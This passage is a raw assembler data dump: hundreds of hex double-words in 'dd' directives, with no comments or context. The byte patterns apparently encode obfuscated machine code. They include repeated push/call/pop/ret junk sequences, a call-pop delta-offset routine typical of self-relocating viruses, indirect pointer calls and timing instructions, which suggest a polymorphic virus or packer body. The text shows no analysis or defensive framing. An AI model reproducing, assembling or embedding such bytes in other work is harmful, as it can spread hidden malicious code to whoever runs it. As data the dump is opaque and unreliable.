8D0900B0h, 6480941h, 6A70E6h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 816660C3h, 8133ADEFh, 22DEC6EEh, 0E971E40Eh, 9, 499ADAh dd 48CFB635h, 0F613CB7h, 1B883h, 0FF18B00h, 6AD8B6h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0EBB6C9C3h, 8B4B4A6Fh, 482331B5h, 6BA06h, 8BF50000h dd 0EF8166C3h, 0E8C110A1h, 14E904h, 0DDFE0000h, 6A1C695h dd 9091DEBFh, 1AC7EDB2h, 0AC5D1605h, 0F766EF93h, 52006AE2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0DC8E93BDh, 99D68167h, 8B16F871h, 480A09B5h, 6AD82B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 4669C351h, 6AC5845Eh, 0E991715Ch, 11h, 9AF8C881h dd 0F008036Fh, 7A39BAF9h, 8DFA4DE2h, 35BD8B9Ah, 5806480Ch dd 0BE9h, 142ACA00h, 5ABC386Dh, 0E80BBA83h, 880FD82Bh dd 0D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 1BC35545h, 9AB79EF2h, 890F58C4h, 0 dd 7B9h, 0C18300h, 860FD93Bh, 0A1h, 2865BD8Bh, 8C660648h dd 0E8D0FD9h, 0E9000000h, 9, 0DDC30CABh, 11EE3548h, 4C1F6D6h dd 76840Fh, 0B50B0000h, 64828A1h, 28F195FFh, 0BE90648h dd 1C000000h, 0E3A968D5h, 125759B5h, 0BE668DB8h, 605BCFF2h dd 81F98B66h, 0FF3EE2D9h, 0C32B6113h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 82C35646h, 521BD8Bh, 81660648h dd 3D3FECCEh, 834h, 16860Fh, 0EBBF0000h, 0E94BC089h, 11h dd 6860Fh, 0DF810000h, 36E568AFh, 0B70FC08Bh, 8BC38BFEh dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0BF418B22h, 47148E1Eh, 296585C7h, 33510648h dd 6650582Ah, 4B7AC681h, 89C08B5Fh, 482BD5BDh, 2DBD8106h dd 0D0064808h, 0F000007h, 985h, 0FA8B6600h, 82D85FFh, 0B5FF0648h dd 648082Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 2EC35040h, 0B5895187h, 6480949h, 2D95FF5Eh, 6A064809h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0A6FCC352h, 6A90F62Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C29FC357h dd 0D8C2734Ch, 50609A69h, 890Fh, 59510000h, 0A19D8959h dd 8B06480Eh, 4810E1BDh, 0FE96106h, 0B8000000h, 93D35825h dd 6948C144h, 2FDD286Ah, 8E90D77h, 0CC000000h, 59CBB35Ch dd 6A86BD9Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0CB65C352h, 3B535FBBh, 0CD9D01D6h dd 106482Fh, 483105B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 807E96D6h, 84824C63h dd 12E9E9h, 2230000h, 0C30E0EF3h, 0EC9A8FA7h, 0FD0DC669h dd 4F2D44AFh, 6AF78B66h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8BB8C350h, 48046DB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 5B3892CEh, 6056EB91h, 6773BB66h, 2B358D8Bh dd 8B660648h, 880F61F2h, 6, 29259589h, 0E95E0648h, 0FFFFF880h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 49C35646h dd 8344C586h, 0C33A21BEh, 6AC18B7Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 952FC350h dd 9E960h, 0D3370000h, 0EB6F3260h, 8981CE76h, 482F119Dh dd 4EB6106h, 0 dd 40CBF66h, 53006AF5h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 55858DC9h, 0BE064812h, 7DDC3819h dd 6A905090h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 463EC350h, 0C8C87195h, 6ACA6649h dd 0F6B70F00h, 589BD8Bh, 6A0648h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0BC35747h, 8B1CD89Fh, 480065BDh dd 33F8BE06h, 858D57D3h, 64C0F1Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 2EC35242h, 8F5CE829h, 0F8F0FF9h dd 68Ch, 11858900h, 8306480Bh, 0BD3305C0h, 6480099h, 50535790h dd 5A310F52h, 505F5F58h, 0FE8h, 3DAE4E00h, 0EE194587h dd 0EC2813ADh, 29622717h, 0E4B5BE66h, 6A905Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0F38B56C3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 816626C3h, 6AFAFCF7h, 0DE800h, 65710000h dd 80BCDE50h, 1FC1E531h, 5E2AD321h, 2B2D95FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 782AC6C3h, 982E301Ah, 5E98DADh, 47000000h, 413F4D39h dd 18158D29h, 9D8D0648h, 64B9938h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 58C35242h, 269BC0B5h, 1F8E149Dh dd 66D3FFD4h, 66232CBEh, 0FF0332BEh, 481AD185h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 8DB58BB1h, 0E9064800h, 8DFh, 0E8h, 0ED815D00h, 64C0F24h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 36C35545h dd 82DBD81h, 7D00648h, 860F0000h, 17Ch, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 0DDC35242h, 0F3C9D7Eh dd 18Ch, 9D8BFC00h, 64812F5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0D7C35040h, 63AB7962h, 4880F09h dd 66000000h, 812EC1BEh, 100E3h, 8E68100h, 0B6A679Ch, 0AB850FDBh dd 29000000h, 481681B5h, 3BBD8306h, 64C0Dh, 3B840Fh, 0B5890000h dd 6480AD5h, 0C1E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 7222373Dh, 64D3630h, 1B58BD3h dd 3306480Fh, 482911BDh, 3B85C706h, 1064C0Dh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0B545C357h, 9F1F3FABh, 0E9FC218Ch, 5Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6FC35646h, 77169F29h dd 71D517BAh, 0FF08B66h, 85C7F3BFh, 64C0D3Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h dd 9209E79Eh, 0C80AE239h, 781BD31h, 9D8D0648h, 64812F5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1C35343h dd 0F45F4698h, 0FEFF2381h, 0BD29FFFFh, 64815C5h, 6ADB8C66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 3164C356h, 4804859Dh, 0BD296006h, 64816FDh dd 68E0Fh, 858B0000h, 6480F21h, 4C3F661h, 40840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B5B1AC3h, 482839B5h, 0F195FF06h, 29064828h, 48102D95h dd 2DBF9006h, 5032E35Fh, 90FA8B66h, 1B01B589h, 32E90648h dd 0F000004h, 1380h, 0EE900h, 5A660000h, 451232F5h, 98F245A6h dd 0E6C3BF61h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 425ECC3h, 2189D248h, 70E6B295h dd 0BC1BD23h, 71E40648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F3C35545h, 688BAB01h, 0CFA4840Fh, 0D8B60FD6h dd 0D998589h, 6BA0648h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0BB88C352h dd 54D3EBFAh, 8A3FB00Fh, 870FC38Bh, 0 dd 8B04E8C1h, 94DF81F0h, 66424067h, 6AE2F7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0C8F836C3h dd 2B568B19h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 6840F99h, 60000000h, 6160A5B3h, 52505061h dd 0B860Fh, 5E80000h, 7F000000h, 85D7E423h, 0F310F5Eh dd 1986h, 14E900h, 8F7E0000h, 6E87006Bh, 7EAD9B1Dh, 0D329BBEDh dd 90CBDC12h, 585A4D6Ch, 6A241C89h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 678C351h dd 0A1506E10h, 10E968h, 0AC140000h, 0BC5EEEF8h, 0B76EE00h dd 544F9084h, 0B5FF65EBh, 648082Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0B4C35343h, 0E15118h, 35B58B5Dh dd 0E906481Ch, 11h, 0A4240CFEh, 80345AEFh, 6A907979h, 0BAD76379h dd 2D95FF77h, 0B0064809h, 0E9853100h, 66064804h, 384ED681h dd 0BF0F70E6h, 6A71E4FEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0F13FC356h, 75DBDDBCh dd 0B58981F8h, 6481235h, 6880Fh, 8D890000h, 6481825h, 830F613Ch dd 225h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 8FC35040h, 51BD8BE6h, 0F064830h, 0EF81D8B6h, 5B57D125h dd 6BAh, 0F18B6600h, 2BD58D89h, 0C38B0648h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 67C35343h, 8B04E8C1h dd 4829D5B5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 3AC35242h, 0FADD264h, 0B76065F3h, 68B0FC0h dd 0F000000h, 8Dh, 0D82B6100h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 89C35646h, 5D6B2A6Bh, 0F248A4AFh dd 3105B589h, 0BD230648h, 6481231h, 0DDB50958h, 2B064821h dd 4E880FD8h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 1CADC350h, 7B9A6FAh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0DEACC353h, 83E35760h, 8B6000C1h dd 48274185h, 0C0BF0F06h, 0FD93B61h, 0F486h, 0B5B53300h dd 0F064816h, 8C66F1BFh, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0DA0BDC52h, 35DB9D57h dd 0C1F6751Fh, 0AC840F04h, 3000000h, 48170DBDh, 0F195FF06h dd 5B064828h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0D5C35242h, 4CFCD986h, 82D57EE5h, 6AC32Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 60DEF1C3h, 68B0Fh, 958B0000h, 6481EF5h, 8343D61h, 860F0000h dd 43h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 4C35545h, 0A8D0Fh, 0B2600000h, 318D8B48h, 61064809h dd 6800Fh, 0B58B0000h, 6480D91h, 14E9h, 0E5B58B00h, 8B06480Bh dd 29B523C0h, 8106481Ah, 1DDEA0F6h, 8BC38B2Fh, 53006AD8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 897FE40Bh, 480CE5B5h, 0C585C706h, 51064812h, 6A73D469h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 59D9C352h, 2A3D8509h, 0C08B0648h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DDC35343h, 60D167h dd 0BD8164A2h, 648082Dh, 7D0h, 52850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 8D5B44C3h, 9BBDD071h, 9BD890Dh, 0FF064800h, 48082D85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0AF45552Ah, 0FF60B6DCh, 82DB5FFh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0BFCFEC3h, 3A4243BAh, 66F2BF0Fh, 0FF6777BFh, 48092D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 5CC606C6h, 81B52B0Dh, 31064830h, 480F9DBDh dd 6A9006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0FE2F2EC3h, 22EDEFCDh, 0F8F28BC0h, 0F78B6650h dd 52006A5Eh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F7E3C7Dh, 684h, 1B58B00h, 60064814h, 6B9958Bh dd 9D8B0648h, 6483131h, 107DBD89h, 66610648h, 6ADDC4BEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 7CCDC352h, 6CCF1AB1h, 13E8h, 55AF7400h, 60D22968h dd 0C3AC2D3Bh, 0CFA88A3Dh, 5849C28Ah, 219D8B60h, 6606482Fh dd 7DB0C78Bh, 860F5F61h, 0 dd 1515BD8Bh, 0E4BE0648h, 0B3F8F13h, 4816D9BDh, 6E906h dd 83BF0000h, 940A6609h, 0F0B70F52h, 5FF28B66h, 0C830Fh dd 0BE660000h, 8E0F2891h, 2, 6A6160h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 45E902C3h dd 6AFFFFF7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0C83AC353h, 1BD8BCBh, 8B064809h dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0D2E5F8C9h, 4EBh, 0BD8B0000h, 6481C35h dd 81BD8B51h, 5E064812h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 54C35343h, 0E728448Ch, 9F0CCF81h, 858D1E30h dd 6481255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 9DC35141h, 35A3C79h, 89AE7FC5h, 4806B185h, 7E906h dd 0F7130000h, 0D62C0B5Eh, 6056906Ch, 5E619EB5h, 9E96050h dd 50000000h, 0F87EBE87h, 0B5BDB240h, 0EE9h, 1C31F900h dd 60EE825Eh, 6AE72947h, 61375BE6h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0B72A3F10h dd 6636AB86h, 8A0F8869h, 3, 6AF28B66h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0E9534BA7h, 0Ch, 7475FF9Bh, 0B1867D4Ch, 5A5EE4FCh, 60006A5Fh dd 668AD180h, 36DFC181h, 46858D61h, 0F5064C1Ah, 0BE05C083h dd 898B87Bh, 4830F90h, 66000000h, 509C70BFh, 90F18B66h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2C35646h dd 2F7C780h, 0C33C57Fh, 6AF9BF0Fh, 15B58900h, 6A06480Dh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0C59D89FAh, 8B06482Eh, 480D4DBDh, 2D95FF06h dd 6A06482Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 3471C355h, 0C4190BF1h, 0F98B9E91h dd 13718589h, 95090648h, 6481475h, 99389D8Dh, 9531064Bh dd 648276Dh, 2EE9B58Bh, 0D3FF0648h, 44DE8166h, 0D185FF29h dd 6A06481Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 43B8C355h, 1A2C4FF8h, 6050D47Ch dd 491B533h, 0EE90648h, 65000000h, 52FFC2D8h, 54C84DB8h dd 88A170A2h, 8E961E1h, 0EE000000h, 0CEE0F697h, 0E9226ACBh dd 7FFh, 0E8h, 0ED815D00h, 64C1A50h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0BBC35646h, 9ECAC265h, 5FFC511Fh dd 2DBD81F8h, 0D0064808h, 0F000007h, 10F86h, 6E900h, 0E3970000h dd 0CF53730Bh, 30799D8Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 2E8969C3h, 906F9157h dd 81FEDA40h, 100E3h, 0B59D8900h, 0B064807h, 7C850FDBh dd 0F000000h, 1481h, 0FE900h, 17990000h, 0FD322EAAh, 0AF0472AEh dd 878C6525h, 21BD83BAh, 64C18h, 10840Fh, 81660000h, 0E90D2DC7h dd 59h, 0A11B58Bh, 85C70648h, 64C1821h, 1, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 8D89FEC3h dd 6481379h, 8A9BD8Bh, 1AE90648h, 0F000000h, 68Ah, 0FDBD8900h dd 0C7064802h, 4C182185h, 6, 9EBF6600h, 799D8D1Ch, 0E9064830h dd 13h, 8DC7A697h, 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 66ECBCEAh dd 2381F28Bh, 0FFFFFEFFh, 0AE856h, 78C0000h, 0E38ED0CCh dd 34164AF0h, 5F5FF88Bh, 0E9DB8C66h, 5, 9161F2E4h, 4C3F6B1h dd 87840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0C929E1C3h, 0BE93EDC6h, 0B58BA152h dd 64809ADh, 28F195FFh, 5F520648h, 0DE86050h, 19000000h dd 85671DBh, 0D882984Dh, 0EECB6229h, 505FC18Bh, 0F525052h dd 0F585A31h, 5E931h, 4D0000h, 5AF53509h, 4896158h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0E04C296Ah, 1BFC6EC4h, 3E9E97Ch, 0FE90000h, 7B000000h dd 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0B0FB46h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6DC35040h, 0E6033E93h dd 6DBD8B70h, 8106482Eh, 0EA1226C7h, 6A71E41Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0A377C356h, 0CF81FB92h, 5563BF3h, 6AD8B60Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 8C0DC353h, 6BABDAFh, 8B000000h, 480B29BDh, 89C38B06h dd 4819E985h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0F1C35343h, 0BE8h, 15306700h, 0DC521BEAh dd 9D57DA0Bh, 665EF28Bh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 895C3BC3h, 48271995h dd 6AD82B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 3699C352h, 4F20B774h, 800F43E4h dd 6, 870Fh, 66930000h, 6050FB8Bh, 7158DBAh, 6A93616Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 8EB3C355h, 0B533E13Ch, 648053Dh, 2DB5FFF8h dd 6A064808h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0F9BCC357h, 3A336AEh, 0B58B985Ch dd 6480661h, 92D95FFh, 0F9570648h, 6A00B05Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0BD6AC353h, 0F93D43Dh, 70E6F0BFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 88C35141h, 89513312h, 480831B5h dd 71E45E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0CC35141h, 5CBA9A35h, 0B1BD8B21h, 3C064806h, 0D8830F61h dd 0F000001h, 9D89D8B6h, 6482AD5h, 6BAh, 99B58900h, 8B064822h dd 0F38B66C3h, 8B04E8C1h, 481B51B5h, 21B52306h, 66064805h dd 8D89E2F7h, 6480BC1h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 518B92C3h, 0A1E5D192h dd 10E86Bh, 0EEF20000h, 1F250990h, 0AFB65525h, 38BEB907h dd 0BD89EDF7h, 648146Dh, 0D82B585Eh, 15D880Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 1EC628C3h, 7B96Dh, 0D7810000h, 704C4BC2h, 6A00C183h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 30FCC350h, 0BD29F350h, 64812F9h, 860FD93Bh dd 103h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0D8C35040h, 0E681668Ch, 3152154Eh, 480CCDBDh, 8C665E06h dd 65BD89D9h, 0F606481Ch, 840F04C1h, 0A2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 58C35242h, 0B9D08DA8h dd 0F070EBC1h dd 28F195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 407949C3h, 89699DEDh, 48161DB5h dd 0BE85B06h, 98000000h, 3F778165h, 3C24A44Bh, 0F38B9F57h dd 66C32B5Eh, 0B5F2F781h, 8343Dh, 2B860F00h, 8B000000h dd 49E9F3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0CAE3C8C3h, 0EFD8E835h, 0C08B008Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2CC35747h dd 0D99D894Eh, 8B06481Ch, 6AD88BC3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 40B4C352h dd 8D09359Eh, 6480ECDh, 14C98D89h, 85C70648h, 64812F5h dd 362E4F13h, 49B58960h, 89064827h, 48032995h, 0C08B6106h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AAC35747h dd 8B95CCBAh, 48122DBDh, 2DBD8106h, 0D0064808h, 0F000007h dd 6285h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0AD6D734Dh, 10E9h, 0D70FB100h, 3E22CB86h dd 7FD12C9Ch, 5FD93DAh, 1DBD33FFh, 0FF064816h, 48082D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0E4EF8E24h, 0FF4F86E3h, 48082DB5h, 0F88B6606h dd 1C919D89h, 95FF0648h, 648092Dh, 1275BD8Bh, 89900648h dd 4804AD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0EAA99109h, 0E9049F27h, 0Fh, 0F53CE243h dd 0AC811804h, 39CA8F57h, 8B4E586Ah, 48008DB5h, 0F78B6606h dd 0CD58589h, 8B660648h, 8BFE8BF8h, 48124DB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0BD8D89D2h, 0FC06480Eh, 2F699509h, 0BD8B0648h, 6481A59h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7C35646h dd 668A4BC5h, 1FE5DF81h, 6AF28Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 7EDD71C3h, 6A3C9Dh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0C40D17C3h, 5571F845h, 7DB58BF9h, 8B064812h, 482B39BDh dd 0D0EE8106h, 0E942ED40h, 0FFFFF824h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 87C35343h, 59BD8B37h, 60064813h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h dd 35850079h, 0FEB9A899h, 66FFFFFFh, 8D21FB8Bh, 6481191h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h dd 81958BA1h, 21064804h, 482FC98Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 977E97A6h dd 0B7C58B86h, 6ABE5A51h, 8B46517Fh, 4811918Dh, 0A5CBBA06h dd 0E18311A9h, 6850F01h, 89000000h, 4814518Dh, 0C98D8B06h dd 6606482Fh, 7E9F08Bh, 0C6000000h, 0A8968800h, 0E1836F4Bh dd 2B850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0E9A8C351h, 0EC70B744h dd 23745CFFh, 480D399Dh, 6061F906h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 64C35040h, 0FEB993C2h, 60FFFFFFh dd 13E59D89h, 81610648h, 6FF704DBh, 258D2103h, 0E9064801h dd 11h, 3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 0BB694B92h, 0B58D21D5h dd 6A064812h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 6235C356h, 911E99Fh, 483061BDh dd 258D8B06h, 0BE064801h, 4C51EDC8h, 0F01E183h, 2185h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0F799AAE8h, 8D8BF814h, 64812B5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F3C35141h, 8E018C7Fh dd 1E18382h, 3850Fh, 0C8800000h, 80606194h, 0FEB980F2h dd 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0F9EDC350h, 31C81D9Dh, 4810CDBDh dd 658D2106h, 0F8064829h, 30798D21h, 8D090648h, 6481A75h dd 0F2D9D8Bh, 8D8B0648h, 6482965h, 0FABBBE66h, 0F01E183h dd 2285h, 11E800h, 0F6A50000h, 6CD9FE6h, 3287053h, 1B327493h dd 6047711Ah, 0AE85B966h, 34D88166h, 8B5F61F4h, 4830798Dh dd 68D0F06h, 29000000h, 48146595h, 1E18306h, 24850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B50128C3h, 6482991h, 6061D38Bh, 5E8h, 5426B000h, 9D892370h dd 6482A9Dh, 0BF0F605Eh, 0B58B57FEh, 6483001h, 0FEB9615Fh dd 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 29ECC350h, 4833498Dh, 0C58D2106h dd 0F064812h, 681h, 880F00h, 21000000h, 4812F58Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0FA50C17Ch, 9E89FB2h, 6D000000h, 25277018h, 84467F6Dh dd 665F5260h, 5F61CE8Bh, 12C58D8Bh, 7E90648h, 21000000h dd 413ACF58h, 0E183AA55h, 6850F01h, 2B000000h, 480C899Dh dd 0F58D8B06h, 8B064812h, 48013185h, 1E18306h, 34850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 1A2E02C3h, 0B6ACA96h, 0BF66ECB8h, 7E9CB19h dd 1000000h, 0CEE3EC94h, 60614CC4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 38C35646h, 0CDDBD33h, 85C70648h dd 648082Dh, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5FC35242h, 0E1E94FDBh, 613F9A28h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 8166EBBFh dd 0EB6223D2h, 0E99D6107h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h dd 3146D29Fh, 51006A73h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 4E90DDDBh, 9D23CCC4h, 648233Dh, 8B60C18Bh dd 66C08BC8h, 646C181h, 1299BD83h, 75000648h, 35BD8309h dd 6480Dh, 53501974h, 38B8C08Bh, 89000004h, 4829B985h dd 649D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h dd 38B85350h, 89000004h, 4829B985h, 539D8D06h, 0FF064AA1h dd 60585BD3h, 1489BD23h, 0B600648h, 481AA995h, 0E9BD2306h dd 61064805h, 6E861h, 0FAD10000h, 680B3A39h, 6A5EF98Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 31A7C356h, 